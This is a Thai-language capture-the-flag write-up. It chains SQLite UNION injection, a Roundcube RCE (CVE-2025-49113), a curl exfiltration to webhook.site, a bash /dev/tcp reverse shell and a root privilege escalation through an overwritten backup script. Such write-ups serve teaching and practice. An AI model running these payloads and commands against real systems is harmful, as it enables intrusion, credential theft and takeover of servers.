Logo
TEMPEST POST OFFCE
Overview

TEMPEST POST OFFCE

Mr. Wan Mr. Wan
May 15, 2025
4 min read

tempest-post-office-img-1

โจทย์นี้คือการโจมตี Webmail และยกสิทธิ์ Root เพื่อดึง Flag ออกมาทั้ง 2 อันออกมาให้ได้ (โจทย์นี้คือเล่นกลมาก ล่อไปเป็นวัน จะบ้า TwT)

ทีนี้! มาดูกันดีกว่ายึดธงมาได้ยังไง!

ก่อนอื่นเลยโจทย์บอกว่า "เอาข้อมูลใน database ของระบบเช็คสภาพอากาศมาใช้ให้เป็นประโยชน์เพื่อโจมตี webmail!!!" งั้นแสดงว่า โจทยก่อนหน้านี่คือ Rain or rain ที่ซ่อนอยู่ใน Database สินะ

หา User & Pass ในโจทย์​ Rain or rain

งั้นแวะกลับโจทย์ Rain or rain สักแปปหน่อย แล้วลองหา Table ใหม่อีกที

' UNION ALL select json_group_array(name),0,0,'' from sqlite_master WHERE type = 'table' --

rainorrain-img-4

เห๋? มี Table “users” ด้วย งั้นแสดงว่า อันนี้น่าจะเป็น User & Pass สำหรับ Webmail แน่ ๆ เห็นเช่นนั้น… สแกน Column หน่อยซิว่ามีอะไรบ้างนะ

' UNION ALL select json_group_array(name),0,0,'' from pragma_table_info('users') --

tempest-post-office-img-2

เอาละเรารู้แล้วละว่ามี Column อะไรบ้าง ก็ดึงออกมาเลยสิ! รออะไรละ OwO

' UNION ALL select username,password,0,'' from users --

tempest-post-office-img-3

ได้แล้ว! เป็น User & pass ดังนี้

Username: sysadmin
Password: Adm1n!2025#Secure

โจมตี Webmail

ทีนี้พอเราได้ User & Pass มาแล้ว ไหนลองเข้าเว็บหน่อยซิ๊​ ว่าเป็นหน้าตายังไง

tempest-post-office-img-4

โอ้โห! Roundcube.. 555555 ไม่ได้เจอหน้านี้กันตั้งนานมาก ได้กลับมาเจออีกครั้งแล้วสินะ ~ เอาเป็นว่าเข้าสู่ระบบกัน

tempest-post-office-img-5

เอ๋​ ทำไมมันไม่มีอะไรเลยหว่า ทั้ง Mailbox หรือตั้งค่าพิรุณ ก็เลย งง ไปสักพักเลย =3= แต่ลองนึกว่า “หรือว่ามีช่องโหว่กันนะ” ก็เลยลองไปค้นหาในเว็บดู ปรากฏว่ามีจริง!

tempest-post-office-img-6

โดยช่องโหว่นี้เป็น CVE-2025-49113 เป็นการให้ผู้ที่ไม่หวังดีทำการส่ง Command ไปยังระบบเซิฟเวอร์​หรือที่เรียกว่า Remote code execution (RCE) ระดับรุนแรงค่อนข้างสูงพอตัวเลย! และตัว Roundcube ที่รันอยู่เป็นเวอร์ชั่นที่มีช่องโหว่นี้ซะด้วย!

tempest-post-office-img-7

ทีนี้เราก็จะใช้ CVE ตัวนี้ยังไงดีในการโจมตี? ก็เลยไปเจอ Tool สำหรับ RCE https://github.com/fearsoff-org/CVE-2025-49113

งั้นลองโจมตีเลย OwO!

อย่างแรกจะลองให้ส่งข้อมูลไปยัง webhook.site แล้วให้แนบ id ที่ถูกสั่งรันบนเครื่องเพื่อโจมตีเป้าหมาย โดยคำสั่งเป็นดังนี้

Terminal window
php./CVE-2025.php http://172.18.0.42 sysadmin 'Adm1n!2025#Secure' 'curl "https://webhook.site/xxx-yyy-zzz?=$(id | base64)'

tempest-post-office-img-8

พอ Decode base64 ออกมาได้เป็น

uid=33(www-data) gid=33(www-data) groups=33(www-data)

จริงด้วย! ทำงานได้จริง OwO!!!

เอาละทีนี้จะทำการรัน ncat เพื่อเปิดให้เราสามารถเข้าถึง Shell ของตัวเครื่องเป้าหมายได้ แต่ประเด็นคือ… เครื่องเป้าหมายไม่มี ncat นี่ดิ =-= เอาไงละทีนั

แต่พอดูไปดูมาว่า “ไม่จำเป็นต้องใช้ ncat ก็ได้นิหว่า” เราสามารถใช้ /dev/tcp/<IP>/<PORT> เพื่อเปิด ncat เข้า shell ได้เลย

Terminal window
php./CVE-2025.php http://172.18.0.42 sysadmin 'Adm1n!2025#Secure' bash -c "bash -c 'bash -i >& /dev/tcp/10.8.0.64/4444 0>&1'"

tempest-post-office-img-9

เข้าได้แล้ว! >< “

หา Flag อันที่ #1

ทีนี้แหล่ะ ต่อไปต้องหา Flag อันที่ 1 กัน แต่… แล้วทีนี้จะหาได้ยังไงละ

ก็เลยลองหาไปเรื่อย ๆ จนไปเจอไฟล์​ /random.sh

Terminal window
# เส้นทางไฟล์ปลายทาง
f1="/home/backupsvc/flag.txt"
f2="/root/flag.txt"

แสดงว่า flag ซ่อนไว้ในทั้ง /home/backupsvc/flag.txt และ /root/flag.txt ทีนี้แหล่ะ พอรู้แล้วก็จะลองไป cat /home/backupsvc/flag.txt แต่ลองทดสอบปรากฏว่า

Terminal window
cat: /home/backupsvc/flag.txt: Permission denied

โอ้​ OwO! ติด Permission สินะ! แล้วจะเข้ายังไงละทีนี้! ก็เลยลองเข้าแบบดาด ๆ ดู

www-data@dropctf:/usr/src/app$ su backupsvc
su backupsvc
Password:

แล้วรหัสอะไรละ… ก็เลยไปหาวิธีอื่น ๆ ดูว่าจะเข้ายังไงได้บ้าง (โครตเสียเวลาไปเยอะมาก)

แต่พอพิมพ์คำสั่ง ps aux เพื่อเช็ค Process ของเครื่องทั้งหมดว่ามีอะไรรันบ้าง ก็ปรากฏว่า

Terminal window
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 1290984 53464 pts/0 Ssl+ 04:01 0:00 node app.js <-- ???

เดียวนะ?! อะไรคือ node app.js อะ เพราะโดยปกติแล้ว Roundcube พัฒนาด้วยภาษา PHP และตอนโจมตี RCE ก็ใช้ PHP นิ แล้ว NodeJS โผล่มาจากไหนนิ ก็เลยลองสแกนหา app.js ดูว่า File มันถูกรันไว้อยู่ที่ไหน

Terminal window
www-data@dropctf:/var/www/html/roundcube/public_html$ find . / | grep app.js
/var/www/html/roundcube/program/js/app.js
/usr/src/app/app.js <-- ???

หืมม?! มันคืออะไรนะ ก็เลยลองไปเช็คเปิดไฟล์ดู ปรากฏเป็น nodejs ที่เอาไว้รันอะไรสักอย่างก็เลยลองเปิดไฟล์ดู

Terminal window
www-data@dropctf:/var/www/html/roundcube/public_html$ cd /usr/src/app
cd /usr/src/app
www-data@dropctf:/usr/src/app$ ls -la
ls -la
total 136
drwxr-xr-x 1 root root 4096 Sep 14 04:01 .
drwxr-xr-x 1 root root 4096 Aug 24 18:00 ..
-rw-r--r-- 1 root root 3727 Jun 28 07:29 app.js
drwxr-xr-x 1 root root 4096 Sep 14 04:01 db
drwxr-xr-x 191 root root 4096 Aug 24 18:06 node_modules
-rw-r--r-- 1 root root 88118 Aug 24 18:06 package-lock.json
-rw-r--r-- 1 root root 405 Jun 27 12:44 package.json
-rw-r--r-- 1 root root 12288 Sep 14 04:01 sessions.sqlite3
drwxr-xr-x 2 root root 4096 Jun 27 17:59 views
www-data@dropctf:/usr/src/app$ cat app.js
cat app.js
const express = require('express');
const bodyParser = require('body-parser');
const session = require('express-session');
const SQLiteStore = require('connect-sqlite3')(session);
....
app.post('/backup', requireLogin, (req, res) => {
exec('bash /usr/local/bin/backup.sh', async (err) => {
const message = err
? `เกิดข้อผิดพลาดในการแบ็คอัพ: ${err.message}`
: 'เริ่มต้นบริการแบ็คอัพเรียบร้อยแล้ว';
const latest = await getLatestBackup() || 'ยังไม่มีไฟล์แบ็คอัพ';
res.render('dashboard', {
user: req.session.user,
status: latest,
message
});
});
});
app.get('/api/backups', requireLogin, async (req, res) => {
try {
const files = await fs.readdir(BACKUP_DIR);
const list = files.filter(f => f.endsWith('.tar.gz'));
if (!list.length) {
return res.json({ message: 'ยังไม่มีไฟล์แบ็คอัพ' });
}
res.json({ backups: list });
} catch (err) {
res.status(500).json({ error: 'ไม่สามารถอ่านโฟลเดอร์ backup' });
}
});
....
const PORT = 3000;
app.listen(PORT, () => {
console.log(`App running as root at http://0.0.0.0:${PORT}`);
});

โอ้โห! ชัดเจน มันคือระบบ backup ที่เขียนมาเพื่อรัน script backup.sh โดยเฉพาะ และตอนนี้คือมีการรัน Web server ผ่าน Port 3000 (เดียวตรงนี้จะมาอธิบายอีกทีตอนหา Flag อันที่ 2)

แต่ทีนี้ด้วยความสงสัยล้วน ๆ เห็น folder db ว่าเก็บอะไรก็เลยไปส่องดูและเจอสิ่งนี้

Terminal window
www-data@dropctf:/usr/src/app$ cd db
cd db
www-data@dropctf:/usr/src/app/db$ ls -la
ls -la
total 36
drwxr-xr-x 1 root root 4096 Sep 14 04:01 .
drwxr-xr-x 1 root root 4096 Sep 14 04:01 ..
-rw-r--r-- 1 root root 16384 Sep 14 04:01 database.sqlite3
-rw-r--r-- 1 root root 854 Jun 27 12:35 db.js
-rw-r--r-- 1 root root 208 Jun 28 07:47 service.sql
www-data@dropctf:/usr/src/app/db$ cat service.sql
cat service.sql
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT
);
INSERT OR IGNORE INTO users (username, password) VALUES
('backupsvc','Svcb@ckup2025!');www-data@dropctf:/usr/src/app/db$

อ่าห้า! นี่คือ User & Pass สำหรับเว็บ สินะ แต่เอ๊ะ ทำไมเหมือนกับในที่เราจะไปเอา Flag ใน Folder /home/backupsvc กันนะก็เลยลองเอา Password นี้ไปกรอดู

www-data@dropctf:/$ su - backupsvc
su - backupsvc
Password: Svcb@ckup2025!
id
uid=1001(backupsvc) gid=1001(backupsvc) groups=1001(backupsvc)

เย้! เข้าได้ซักที ทีนี้ไปเอาธงอันที่ 1 กัน!

cat /home/backupsvc/flag.txt
TEMPEST{4e9dc99ebab2e4b870c5dc19f1bd4011}
exit

ได้ธงอันที่ #1 มาแล้ว >w< “

TEMPEST{4e9dc99ebab2e4b870c5dc19f1bd4011}

หา Flag อันที่ #2

ทีนี้เรามาหา Flag อันที่ 2 กัน

แต่ก่อนอื่นเราลองเข้าเว็บ :3000 ดูก่อนว่ามันเป็นยังไง

tempest-post-office-img-10

พอเราดูแล้วก็น่าเดาไม่ยาก น่าจะเอา User & Pass จากที่เราไปอ่าน File service.sql มาทำการเข้าสู่ระบบ

INSERT OR IGNORE INTO users (username, password) VALUES
('backupsvc','Svcb@ckup2025!');

พอเข้าสู่ระบบไปแล้วก็เป็นหน้า Backup ธรรมดาอันหนึ่ง

tempest-post-office-img-11

พอเรากดปุ่ม “Run backup now” ก็จะได้ไฟล์ .tar.gz ออกมา ซึ่งดูแล้วไม่น่าเกี่ยวอะไรมากนัก

ทีนี้ก็เลยมานั่งดูว่าตอนกด Request ไปมันวิ่งไปที่ไหนก็ปรากฏว่ามันวิ่งมาที่ function ของ nodejs อันนี้

app.post('/backup', requireLogin, (req, res) => {
exec('bash /usr/local/bin/backup.sh', async (err) => {
const message = err
? `เกิดข้อผิดพลาดในการแบ็คอัพ: ${err.message}`
: 'เริ่มต้นบริการแบ็คอัพเรียบร้อยแล้ว';
const latest = await getLatestBackup() || 'ยังไม่มีไฟล์แบ็คอัพ';
res.render('dashboard', {
user: req.session.user,
status: latest,
message
});
});
});

โดย Function นี้เหมือนไปรันคำสั่งใน /usr/local/bin/backup.sh เพื่อ Backup ไว้และเราสามารถ Download ลงมาได้

และพอไปเปิดดูไฟล์ /usr/local/bin/backup.sh จะเป็นหน้าตาดังนี้

Terminal window
cat: /usr/local/bin/backup.sh: Permission denied

อะอ่าวไหนเป็นงั้น งง ว่าติด Permission root หรอ?! ก็เลยลอง ls -la เพื่อเช็คสิทธิ์ออกมา

Terminal window
www-data@dropctf:/usr/src/app$ ls -la /usr/local/bin
total 12
drwxr-xr-x 1 root root 4096 Aug 24 18:06 .
drwxr-xr-x 1 root root 4096 May 29 02:14 ..
-rwx------ 1 backupsvc backupsvc 528 Jun 27 12:57 backup.sh

ออ ติด Permission ของ backupsvc:backupsvc นิเอง งั้นลองใหม่โดยการเข้า User backupsvc แล้วลอง cat ออกมาใหม่

Terminal window
www-data@dropctf:/usr/src/app$ su backupsvc
su backupsvc
Password: Svcb@ckup2025!
cat /usr/local/bin/backup.sh
#!/bin/bash
SRC="/usr/src/app/db" # โฟลเดอร์ที่ต้องการ backup
DEST="/backup" # โฟลเดอร์เก็บไฟล์สำรอง
mkdir -p "${DEST}"
TIMESTAMP=$(date +'%Y-%m-%d_%H%M%S')
ARCHIVE="${DEST}/data-backup-${TIMESTAMP}.tar.gz"
tar -czf "${ARCHIVE}" -C "$(dirname "${SRC}")" "$(basename "${SRC}")"
find "${DEST}" -type f -name 'data-backup-*.tar.gz' -mtime +7 -delete

ทีนี้ลองอ่านดู แต่ก็ไม่มีอะไรโจมตี หรือยึดเครื่องได้เลย จนนั่งคิดไปอยู่แปปว่า “nodejs รันด้วยสิทธิ์อะไรนะ” ก็เลยกลับไปดูอีกครั้ง

root 1 0.0 0.1 1290984 53464 pts/0 Ssl+ 04:01 0:00 node app.json

รันสิทธิ์ด้วย root! งั้นแสดงว่าตอนที่ตัว node สั่ง spawn process แปลว่าตอนรันคือระดับสิทธิ์ root นิเอง! งั้นไม่รอช้าได้เวลา Craft คำสั่งเพื่อดึง Flag อันที่ 2 ออกมา

Terminal window
printf "#!/bin/sh\n\ncp -r /root/flag.txt /var/www/html\nchmod -R 777 /var/www/html/flag.txt\n\necho OwO" > /usr/local/bin/backup.sh

คำสั่งนี้คือการ Overwrite file เข้าไปแทน backup.sh เพื่อให้จาก Backup เป็นการ Copy flag มายัง /var/www/html แทน และปรัน chmod ให้อ่านได้ทุกสิทธิ์

พอเสร็จแล้วก็ทำการลองกด “Run backup now” แล้วลองเช็คไฟล์ใน /var/www/html อีกที

www-data@dropctf:/usr/src/app$ cat /var/www/html/flag.txt
cat /var/www/html/flag.txt
TEMPEST{a185e39b6a433e4e0721fea6dbce30cc}www-data@dropctf:/usr/src/app$

เย้! ได้ Flag อันที่ 2 แล้ว >< ”

TEMPEST{a185e39b6a433e4e0721fea6dbce30cc}